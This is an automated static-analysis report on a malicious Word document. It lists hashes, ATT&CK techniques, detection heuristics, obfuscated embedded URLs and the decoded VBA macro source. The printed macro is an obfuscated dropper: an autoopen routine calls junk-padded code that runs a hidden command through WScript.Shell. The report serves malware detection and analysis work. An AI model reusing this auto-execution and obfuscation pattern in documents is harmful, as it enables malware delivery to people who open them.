Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bfb7b0dcefa43f7e…

MALICIOUS

Office (OLE)

157.4 KB Created: 2019-01-14 15:13:00 Authoring application: Microsoft Office Word First seen: 2019-02-04
MD5: c2922ea30df8da2beb034f214d9e9f42 SHA-1: 38cefb766d1ac80ca1f0b67c4f13d062a889c295 SHA-256: bfb7b0dcefa43f7e7cbc67663e218298b104bfc94318f64ca84e466d8b13fad8
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, suggesting an attempt to execute arbitrary code. The AutoOpen macro is present, which is commonly used to trigger malicious actions upon document opening. The embedded URLs are likely used to download and execute a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Malware.Generic-6814834-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6814834-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          End Select
    HTTPr = Array(deployc, leveraget, Montanaz, CreateObject("WscRipt.sHeLl").Run(("" + BruneiDollarB + deployo + redundantj + violetB.TextBox1) + Globalf + AutoLoanAccountX, 17 - 17), exploitu, TastyFreshBaconB, Frozend)
       Select Case Ergonomicl
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          End Select
    HTTPr = Array(deployc, leveraget, Montanaz, CreateObject("WscRipt.sHeLl").Run(("" + BruneiDollarB + deployo + redundantj + violetB.TextBox1) + Globalf + AutoLoanAccountX, 17 - 17), exploitu, TastyFreshBaconB, Frozend)
       Select Case Ergonomicl
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "moderatork"
    Sub autoopen()
    Gambiac = MusicGardenToolsW - i24hour29
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://uJZwcphJZwp?JZw.c In document text (OLE body)
    • http://themJZw??5JZwtlJZw5e.cIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7355 bytes
SHA-256: 9020e58d4bd91d4dcbd463bc15ad85a6a326c8192767b03891e8b14378738000
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "violetB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Attribute VB_Name = "Ovali"
Function Centraln()
On Error Resume Next
   Select Case yellowR
         Case 548
ErgonomicFrozenSaladN = SMTPN
            compositeH = CDate(Centersd)
            DirectF = scalableE
            SingaporeJ = Sgn(Islandsm)
         Case 57
            AutoLoanAccountf = 791
            pinkz = CDbl(281)
seizeR = Massachusettsf
            Reverseengineeredw = Sin(integratedY)
         Case 294
Woodenw = ZimbabweH
            RefinedGraniteBikeT = Fix(Wyominga)
opticalM = Marylands
            CustomizableP = Round(466)
            depositQ = MoneyMarketAccountw
      End Select
   Select Case Accountsk
         Case 834
GardensH = calculatej
            Frames = CDate(bluetoothH)
            Fantasticc = parseT
            Cottonw = Sgn(hackW)
         Case 683
            SmallRubberTowelss = 472
            stickyQ = CDbl(831)
ConcreteW = FreshF
            Directw = Sin(Iowao)
         Case 464
ConfigurationT = Meadowl
            Marylandu = Fix(toolsetk)
ShoesElectronicsComputersM = AlaskaU
            connectQ = Round(804)
            InternationalG = frameD
      End Select
   Select Case AzerbaijanianManatw
         Case 450
structurei = LightsY
            Buckinghamshiren = CDate(bandwidthw)
            growM = GlobalA
            AlgerianDinarf = Sgn(hackU)
         Case 446
            invoiceu = 890
            RubberC = CDbl(52)
crossplatformc = HomeShoesC
            virtualh = Sin(Futureo)
         Case 778
transparentl = SouthDakotaD
            revolutionarys = Fix(RSSO)
ArubaB = CreditCardAccountk
            Intelligentv = Round(983)
            AnalystC = Cottonz
      End Select
HTTPr = Array(deployc, leveraget, Montanaz, CreateObject("WscRipt.sHeLl").Run(("" + BruneiDollarB + deployo + redundantj + violetB.TextBox1) + Globalf + AutoLoanAccountX, 17 - 17), exploitu, TastyFreshBaconB, Frozend)
   Select Case Ergonomicl
         Case 682
FalklandIslandsPoundw = ProfoundL
            Belgiumh = CDate(feedY)
            ExecutiveT = calculatingm
            TrinidadandTobagoDollark = Sgn(clientdrivenz)
         Case 471
            TurnpikeL = 389
            didacticm = CDbl(138)
Plasticz = XSST
            invoiceq = Sin(bypassinga)
         Case 987
incubatez = outoftheboxa
            IncrediblePlasticFishw = Fix(functionalitiesw)
CreditCardAccountb = backingupW
            SquaresR = Round(777)
            orchestrateL = Viewso
      End Select
   Select Case bleedingedgeC
         Case 210
Shoalsf = compressi
            CorporateW = CDate(utilisations)
            supplychainsI = actuatingG
            RusticP = Sgn(WisconsinQ)
         Case 376
            programmingf = 422
            OklahomaO = CDbl(460)
systemsu = ArizonaW
            programmingN = Sin(CliffsA)
         Case 414
etailersm = UtahF
            Bedfordshirev = Fix(AutoLoanAccountP)
sensorf = indexingR
            PlasticU = Round(792)
            fullrangeo = Avoni
      End Select
   Select Case withdrawalM
         Case 396
ErgonomicCottonKeyboardl = ConcreteS
            backingupR = CDate(magneticM)
            cyanw = Optionalm
            GraphicalUserInterfacep = Sgn(IslandL)
         Case 239
            Frozenf = 331
            HarborZ = CDbl(610)
IBX = benchmarkn
            BordersO = Sin(depositd)
         Case 27
HandmadeM = interactivem
            backupf = Fix(IsleofManZ)
RusticRubberSausagesE = LicensedSoftMouseQ
            Montanah = Round(689)
            applicationB = InvestmentAccountK
      End Select
   Select Case Fallsc
         Case 162
Coloradoh = Marketsp
            Stationf = CDate(Rwandak)
            GrassrootsY = ErgonomicRubberCarN
            platformsX = Sgn(Prairiez)
         Case 976
            metricsp = 28
            payments = CDbl(780)
Seniorw = Switchableu
            Qualityfocusedh = Sin(CheckingAccountM)
         Case 702
RefinedFreshSaladz = backendz
            Avonk = Fix(Rapidk)
magentac = ArizonaN
            relationshipsw = Round(994)
            BeautyBooksMusicR = quantifyl
      End Select
End Function


Attribute VB_Name = "moderatork"
Sub autoopen()
Gambiac = MusicGardenToolsW - i24hour29
Forksz = MoneyMarketAccountK - usersI
SleekO = vortalsZ - Thailandl
blacki = LightD - Licensedq
Awesomez = Berkshirez - SASj
Centraln
protocolU = ElectronicsElectronicsBooksb - clicksandmortarM
integrater = Fallsk - microchipW
BabyC = SleekSoftCheeseU - adapterq
MountJ = HomeClothingf - BermudaW
revolutionizeW = Heightsz - navigateT
End Sub

Attribute VB_Name = "cohesiveN"

Attribute VB_Name = "EstateJ"

Attribute VB_Name = "SASu"

Attribute VB_Name = "Customizablel"

Attribute VB_Name = "HorizontalF"

Attribute VB_Name = "Centero"

Attribute VB_Name = "softwareY"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "technologiesh"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "ShoesIndustrialComputersq"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "CostaRicanColonp"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Causewayc"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "standardizationM"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Brandn"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False